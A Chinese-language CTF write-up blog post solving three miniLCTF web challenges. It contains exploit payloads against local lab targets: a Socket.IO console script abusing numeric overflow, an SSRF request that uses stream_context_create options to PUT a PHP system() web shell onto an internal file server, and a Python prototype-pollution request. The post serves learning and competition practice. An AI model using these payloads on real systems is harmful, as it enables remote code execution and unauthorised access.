miniL


GuessOneGuess

// 1. 加载库
if (typeof io === 'undefined') {
  const script = document.createElement('script');
  script.src = 'https://cdn.socket.io/4.7.2/socket.io.min.js';
  document.head.appendChild(script);
}

// 2. 建立连接
setTimeout(() => {
  window.socket = io('http://127.0.0.1:46227/', { transports: ['websocket'] });
  console.log('[√] 连接已建立');
}, 3000);
// 3. 发送100次错误猜测
for (let i=0; i<100; i++) {
  setTimeout(() => window.socket.emit('guess', { value: 50 }), i*50);
}
// 在控制台立即执行
socket.emit('punishment-response', { score: "-Infinity"});
console.log('[+] 恶意分数已发送');
socket.emit('guess', { value: 77 });

结果可在 f12-network 里面刚刚构建的 ws 连接看到

chrome 浏览器 f12 如何查看 websocket 消息?_f12怎么查看websocket消息-CSDN博客

分数要大于1.7976931348623157e308才会给flag这个数恰恰是js中Number.MAX_VALUE,但是如果超过这个值就会变成Infinity,只有Infinity>Number.MAX_VALUE才是true

后端监听的'punishment-response'执行totalScore -= data.score;,而data是前端可控的,

但是直接socket.emit('punishment-response', { score: -1.8e308 });只要这个数大于Number.MAX_VALUE(我们这里称为Infinity),实际就是socket.emit('punishment-response', { score: -Infinity });会失败,原因是

Socket.IO 在传输数据时使用的是 JSON 序列化。如果值是 Infinity-InfinityNaN,这些是 不能被 JSON 表示的,会被序列化成 null

JSON.stringify({ score: -Infinity }); // '{"score":null}'所以得让Socket.IO传输的时候正常传(不被序列化为无效值)

这里的解决办法是{ score: "-Infinity" }(字符串)或者发-1e308(小于Number.MAX_VALUE)多发几次后端一运算还是Infinity

socket = io();
//socket.emit('punishment-response', {
//  score: "-Infinity"
//});或者下面的
socket.emit('punishment-response', {
  score: -1e308
});
socket.emit('punishment-response', {
  score: -1e308
});
//猜对这里可二分法猜,手试二分法也ok,其实for循环爆也型
for(var i=0;i<100;i++)
 socket.emit('guess', {
   value: i
 });
 socket.on(
   'game-message',
   (data) => {
     console.log(data.message);
   });

塞控制台运行


Miniup

<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];
        
        $filename = $file['name'];

        $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
        
        $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        
        if (!in_array($file_extension, $allowed_extensions)) {
            echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
            exit;
        }
        
        $target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
        
        $file_content = file_get_contents($file['tmp_name']);
        
        $ch = curl_init($target_url);
        
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Origin: http://' . $dufs_host . ':' . $dufs_port,
            'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
            'Accept-Encoding: gzip, deflate',
            'Accept: */*',
            'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
            'Content-Length: ' . strlen($file_content)
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        if ($http_code >= 200 && $http_code < 300) {
            echo json_encode(['success' => true, 'message' => '图片上传成功']);
        } else {
            echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '未选择图片']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
    if (isset($_POST['query']) && !empty($_POST['query'])) {
        $search_query = $_POST['query'];
        
        if (!ctype_alnum($search_query)) {
            echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
            exit;
        }
        
        $search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';
        
        $ch = curl_init($search_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Accept: */*',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code >= 200 && $http_code < 300) {
            $response_data = json_decode($response, true);
            if (isset($response_data['paths']) && is_array($response_data['paths'])) {
                $image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
                
                $filtered_paths = [];
                foreach ($response_data['paths'] as $item) {
                    $file_name = $item['name'];
                    $extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
                    
                    if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
                        $filtered_paths[] = $item;
                    }
                }
                
                $response_data['paths'] = $filtered_paths;
                
                echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
            } else {
                echo json_encode(['success' => true, 'result' => $response]);
            }
        } else {
            echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
    if (isset($_POST['filename']) && !empty($_POST['filename'])) {
        $filename = $_POST['filename'];
        
        $file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
        
        if ($file_content !== false) {
            $base64_image = base64_encode($file_content);
            $mime_type = 'image/jpeg';
            
            echo json_encode([
                'success' => true, 
                'is_image' => true,
                'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
            ]);
        } else {
            echo json_encode(['success' => false, 'message' => '无法获取图片']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入图片路径']);
        exit;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>迷你图片空间</title>
    <meta charset="UTF-8">
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
            background-color: #f0f8ff;
        }
        .section {
            margin-bottom: 30px;
            padding: 15px;
            border: 1px solid #add8e6;
            border-radius: 5px;
            background-color: white;
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
        }
        h2 {
            margin-top: 0;
            color: #4682b4;
        }
        .form-group {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
            color: #4682b4;
        }
        input[type="text"], input[type="file"] {
            width: 100%;
            padding: 8px;
            box-sizing: border-box;
            border: 1px solid #add8e6;
            border-radius: 4px;
        }
        button {
            padding: 10px 15px;
            background-color: #4682b4;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #5f9ea0;
        }
        .result {
            margin-top: 15px;
            padding: 10px;
            border: 1px solid #add8e6;
            border-radius: 4px;
            background-color: #f0f8ff;
            display: none;
        }
        pre {
            white-space: pre-wrap;
            word-wrap: break-word;
            background-color: #f5f5f5;
            padding: 10px;
            border-radius: 4px;
            max-height: 300px;
            overflow-y: auto;
        }
    </style>
</head>
<body>
    <h1>迷你图片空间</h1>
    
    <div class="section">
        <h2>上传图片</h2>
        <form id="uploadForm" enctype="multipart/form-data">
            <input type="hidden" name="action" value="upload">
            <div class="form-group">
                <label for="file">选择图片:</label>
                <input type="file" id="file" name="file" required>
                <small>支持所有类型的图片</small>
            </div>
            <button type="submit">上传图片</button>
        </form>
        <div id="uploadResult" class="result"></div>
    </div>
    
    <div class="section">
        <h2>搜索图片</h2>
        <form id="searchForm">
            <input type="hidden" name="action" value="search">
            <div class="form-group">
                <label for="query">搜索关键词:</label>
                <input type="text" id="query" name="query" required 
                       pattern="[a-zA-Z0-9]+" 
                       title="只允许输入数字和字母"
                       placeholder="输入图片关键词(仅限数字和字母)">
            </div>
            <button type="submit">搜索</button>
        </form>
        <div id="searchResult" class="result">
            <h3>搜索结果:</h3>
            <div id="searchResultContent"></div>
        </div>
    </div>
    
    <div class="section">
        <h2>查看图片</h2>
        <form id="viewForm">
            <input type="hidden" name="action" value="view">
            <div class="form-group">
                <label for="filename">图片路径:</label>
                <input type="text" id="filename" name="filename" required placeholder="输入图片路径">
            </div>
            <button type="submit">查看图片</button>
        </form>
        <div id="viewResult" class="result">
            <h3>图片预览:</h3>
            <div id="fileContent"></div>
        </div>
    </div>
    
    <script>
        document.getElementById('uploadForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            var formData = new FormData(this);
            
            fetch('index.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                var resultDiv = document.getElementById('uploadResult');
                resultDiv.style.display = 'block';
                resultDiv.innerHTML = data.message;
                resultDiv.style.color = data.success ? 'green' : 'red';
            })
            .catch(error => {
                var resultDiv = document.getElementById('uploadResult');
                resultDiv.style.display = 'block';
                resultDiv.innerHTML = '上传过程中发生错误';
                resultDiv.style.color = 'red';
            });
        });
        
        document.getElementById('searchForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            var searchQuery = document.getElementById('query').value;
            
            var alphanumericRegex = /^[a-zA-Z0-9]+$/;
            if (!alphanumericRegex.test(searchQuery)) {
                var resultDiv = document.getElementById('searchResult');
                resultDiv.style.display = 'block';
                document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
                return;
            }
            
            var formData = new FormData(this);
            
            fetch('index.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                var resultDiv = document.getElementById('searchResult');
                resultDiv.style.display = 'block';
                
                if (data.success) {
                    try {
                        var jsonData = JSON.parse(data.result);
                        
                        if (jsonData.paths && jsonData.paths.length > 0) {
                            var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
                            resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
                            resultHtml += '</tr></thead><tbody>';
                            
                            jsonData.paths.forEach(function(item) {
                                var date = new Date(item.mtime);
                                var formattedDate = date.toLocaleString();
                                var fileSize = formatFileSize(item.size);
                                
                                resultHtml += '<tr style="border: 1px solid #ddd;">';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
                                resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
                                resultHtml += '</td></tr>';
                            });
                            
                            resultHtml += '</tbody></table>';
                            document.getElementById('searchResultContent').innerHTML = resultHtml;
                        } else {
                            document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
                        }
                    } catch (e) {
                        document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
                    }
                } else {
                    document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
                }
            })
            .catch(error => {
                var resultDiv = document.getElementById('searchResult');
                resultDiv.style.display = 'block';
                document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
            });
        });
        
        document.getElementById('viewForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            var formData = new FormData(this);
            
            fetch('index.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                var resultDiv = document.getElementById('viewResult');
                resultDiv.style.display = 'block';
                
                if (data.success) {
                    var fileContentDiv = document.getElementById('fileContent');
                    fileContentDiv.textContent = ''; 

                    var img = document.createElement('img');
                    img.src = data.base64_data;
                    img.style.maxWidth = '100%';
                    img.style.display = 'block';
                    img.style.margin = '0 auto';
                    fileContentDiv.appendChild(img);
                } else {
                    document.getElementById('fileContent').textContent = '错误: ' + data.message;
                }
            })
            .catch(error => {
                console.error('错误:', error);
                var resultDiv = document.getElementById('viewResult');
                resultDiv.style.display = 'block';
                document.getElementById('fileContent').textContent = '获取图片时发生错误';
            });
        });

        function formatFileSize(bytes) {
            if (bytes === 0) return '0 B';
            
            const k = 1024;
            const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
            const i = Math.floor(Math.log(bytes) / Math.log(k));
            
            return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
        }

        function viewFile(filename) {
            document.getElementById('filename').value = filename;
            document.getElementById('viewForm').dispatchEvent(new Event('submit'));
        }
    </script>
</body>
</html>
    • stream_context_create():该函数的用途是创建一个自定义的上下文,这个上下文可以对文件流或者网络请求的行为进行修改。
    • $_POST['options']:这是从客户端表单提交过来的数据,一般是一个数组,数组里包含了诸如 HTTP 请求头、超时时间等选项。
    • @:它是错误抑制符,其作用是在创建上下文失败时,避免 PHP 抛出警告信息。
  1. file_get_contents($filename, false, ...)
    • file_get_contents():此函数的功能是把整个文件读取到一个字符串中。

    • $filename:它代表要读取的文件路径,这个路径是从客户端传递过来的。

    • false:该参数表明不使用包括路径和文件名的前导目录。

    • 第三个参数就是前面创建的自定义上下文,借助这个上下文可以对读取行为进行定制。

      1. 设置请求方法为 PUT
      curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
      • 功能:指定 HTTP 请求方法为 PUT(用于向服务器上传资源)
      • 注意:PUT 方法通常用于覆盖已有资源,需确保服务器支持此方法

      2. 设置请求体内容

      curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
      • 功能:将文件内容作为请求体发送
      • 潜在问题
        • $file_content过大(如超过 PHP 内存限制),可能导致内存溢出
        • 未设置Content-Type头,服务器可能无法正确解析文件类型

      3. 设置返回响应结果

      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      • 功能:将 cURL 请求的响应结果作为字符串返回,而非直接输出
      • 必选:否则响应会直接输出,无法被后续代码处理

      4. 设置 HTTP 请求头

      curl_setopt($ch, CURLOPT_HTTPHEADER, [
          'Host: ' . $dufs_host . ':' . $dufs_port,
          'Origin: http://' . $dufs_host . ':' . $dufs_port,
          'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
          'Accept-Encoding: gzip, deflate',
          'Accept: */*',
          'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
          'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
          'Content-Length: ' . strlen($file_content)
      ]);

      各请求头解析:

      • Host:指定请求的目标主机和端口
        • 潜在问题:若服务器配置了虚拟主机,可能导致请求被拒绝
      • Origin/Referer:标识请求来源
        • 通常用于跨域请求验证
        • 可能被服务器用于访问控制(如防盗链)
      • Accept-Encoding:告知服务器支持的内容编码(压缩方式)
        • 若服务器返回 gzip/deflate 压缩内容,需额外处理解压缩
      • Accept:指定客户端接受的响应内容类型
        • */*表示接受任意类型,可能不符合服务器预期
      • Accept-Language:指定客户端偏好的语言
        • 影响服务器返回的语言版本(若支持多语言)
      • User-Agent:模拟浏览器标识
        • 可能被服务器用于识别客户端类型
        • 固定值可能导致服务器识别为爬虫而拦截
      • Content-Length:指定请求体的字节长度
        • 必选头,若缺失或错误可能导致请求失败

这里我们看有dufs服务作为文件存储,再看最后查看图片的file_get_contents方法,有stream_context_create可以仿真http请求,也就是说前面的filename如果是url,后面的参数可以仿真其请求

  $file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
  $dufs_host = '127.0.0.1';
$dufs_port = '5000';
        
        $target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
        
        $file_content = file_get_contents($file['tmp_name']);
        
        $ch = curl_init($target_url);
        
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');#PUT 请求
        curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Origin: http://' . $dufs_host . ':' . $dufs_port,
            'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
            'Accept-Encoding: gzip, deflate',
            'Accept: */*',
            'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
            'Content-Length: ' . strlen($file_content)
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);

stream_context_create到底是干什么的?_php创建文件流stream-CSDN博客

POST /index.php HTTP/1.1
Host:127.0.0.1:27694
Content-Type: application/x-www-form-urlencoded

action=view&filename=http://127.0.0.1:5000/pass.php&options[http][method]=PUT&options[http][content]=<?php system($_GET['pass']);?>


Clickclick

当amount >= 1000时会触发点击过快,而amount >=10000时才返回flag

打开源代码发现一条红色的代码belike

ar gn = Tt("<p>什么叫“前后端分离”啊?(战术后仰)</p>")
  , bn = Tt("<pre></pre>")
  , En = Tt('<main><h1>Click and Click</h1> <div class="card"><!></div> <p>Click 10000 times, and something appear.</p> <!> <!></main>');
  
 ...
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
{"type":"set", "point":{"amount":-1}}显示hacker
{"type":"set", "point":{"amount":10000}}显示你按的太快了
import requests

base = "http://127.0.0.1:33595"
payload = {"type":"set", "point":{"amount":0,"__proto__":{"amount":100000}}}
resp = requests.post(base + "/update-amount", json=payload).text
print(resp)

miniLCTF{675bb19a-6fe3-0f7f-9243-aff72d5a3a4c}


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录